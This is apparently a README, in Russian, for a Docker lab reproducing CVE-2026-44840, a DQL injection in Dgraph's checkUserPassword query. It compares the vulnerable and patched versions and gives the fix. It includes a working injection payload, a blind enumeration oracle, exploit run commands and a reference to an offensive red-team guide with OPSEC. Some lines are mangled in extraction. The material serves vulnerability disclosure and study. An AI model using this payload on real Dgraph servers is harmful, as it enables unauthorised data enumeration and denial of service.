Docker-лаборатория, воспроизводящая CVE-2026-44840 — DQL-инъекцию в GraphQL-запросе checkUserPassword в Dgraph, со скриптом эксплуатации и сравнением уязвимой и исправленной версий.
checkUserPassword (GraphQL)Лаборатория Docker, воспроизводящая реальную инъекцию в Dgraph:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4Реальная CVE 2026 года · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · приписана Kai Aizen (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). Только для изолированной и авторизованной лабораторной среды.
checkUserPassword — это GraphQL-запрос, который автоматически генерируется схемой Dgraph для
типов с директивой . В
(≤ v25.3.3) пароль конкатенировался с помощью :
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
Пароль атакующего буквально вставляется в DQL:
pwd as checkpwd(User.password, "<пароль атакующего>")
Исправление (v25.3.4, коммит cee702c) параметризует значение:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
Поднимает два кластера Dgraph (zero+alpha): v25.3.3 и v25.3.4.
Загружает схему type User @secret(field: "password") и создаёт admin, alice, bob.
Отправляет в checkUserPassword пароль, который выходит за пределы литерала DQL и добавляет
произвольный блок запроса:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
В v25.3.3 блок injected { ... } парсится и выполняется на стороне сервера.
| Тест | v25.3.3 (уязвимая) | v25.3.4 (пропатченная) |
|---|---|---|
| вход с правильным паролем | OK (touched_uids 7) | OK (touched_uids 7) |
| вход с неправильным паролем | null (5) | null (5) |
инъектированный пароль )} injected{...} # | выполняется: touched_uids 14 | нейтрализован: 5 |
оракул: инъектированный eq(User.name,"bob") | touched_uids 7 (существует) | 5 |
оракул: инъектированный eq(User.name,"nobody") | 5 (не существует) | 5 |
лог dgraph alpha | показывает DQL с блоком injected | параметризованный DQL, без блока |
Влияние CVE: выполнение произвольного DQL на стороне сервера → слепая перечисление данных
(через touched_uids/timing), обнаружение схемы (has(), eq()) и DoS через потребление
ресурсов путём инъекции дорогостоящих обходов (expand(_all_), рекурсии).
# 1) поднять всё, подготовить схему/пользователей и запустить эксплойт
bash run.sh
# 2) только эксплойт (если лаборатория уже подготовлена)
python3 exploit/exploit.py
# 3) развернуть окружение с нуля (pod / дамп)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) очистить
docker compose down # сохраняет тома
docker compose down -v # удаляет тома (данные dgraph)
| Сервис | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
Наступательное операционное руководство (разведка, пошаговая эксплуатация, payload'ы, доказательства
и OPSEC): REDTEAM.md.
Пароль передаётся как переменная GraphQL; значение, попадающее в rewriter, не экранируется и
вставляется внутрь checkpwd(User.password, "..."). Payload:
x") # закрывает литерал checkpwd и функцию
} # закрывает блок checkPwd
injected(...) # новый корневой блок атакующего
{ ... }
# # комментирует остаток шаблона: ")
# предотвращает поломку парсинга суффиксом шаблона (закрывающей " от checkpwd).
dgraph v25.3.4+.vars из dgoapi.Request), никогда
не интерполировать ввод через fmt.Sprintf.